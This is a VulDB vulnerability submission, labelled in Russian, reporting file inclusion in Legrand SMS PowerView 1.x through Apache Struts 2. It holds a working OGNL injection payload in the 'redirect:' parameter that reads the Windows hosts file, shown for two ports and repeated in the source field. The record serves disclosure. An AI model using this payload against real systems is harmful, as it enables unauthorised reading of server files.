| Название | Lagrand SMS PowerView 1.x.x File Inclusion |
|---|
| Описание | In SMS PowerView systems, it is possible to exploit a Local File Inclusion (LFI) vulnerability due to the system using Apache Struts 2. Given this, we have the following payload to demonstrate the possibility of Local File Inclusion:
Viewing the "hosts" file on Windows:
http://x.x.x.x:9191/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%23scanner.useDelimiter(%27\\A%27).next(),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.println(%23data),%23resp.flush(),%23resp.close()}
https://x.x.x.x:8443/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%23scanner.useDelimiter(%27\\A%27).next(),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.println(%23data),%23resp.flush(),%23resp.close()} |
|---|
| Источник | ⚠️ http://x.x.x.x:9191/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23file%3dnew+java.io.File(%27C:\\Windows\\System32\\drivers\\etc\\hosts%27),%23scanner%3dnew+java.util.Scanner(%23file),%23data%3d%2 |
|---|
| Пользователь | Fr1t0 (UID 82967) |
|---|
| Представление | 03.04.2025 21:14 (1 Год назад) |
|---|
| Модерация | 14.04.2025 14:49 (11 days later) |
|---|
| Статус | Дубликат |
|---|
| Запись VulDB | 302034 [Legrand SMS PowerView 1.x redirect эскалация привилегий] |
|---|
| Баллы | 0 |
|---|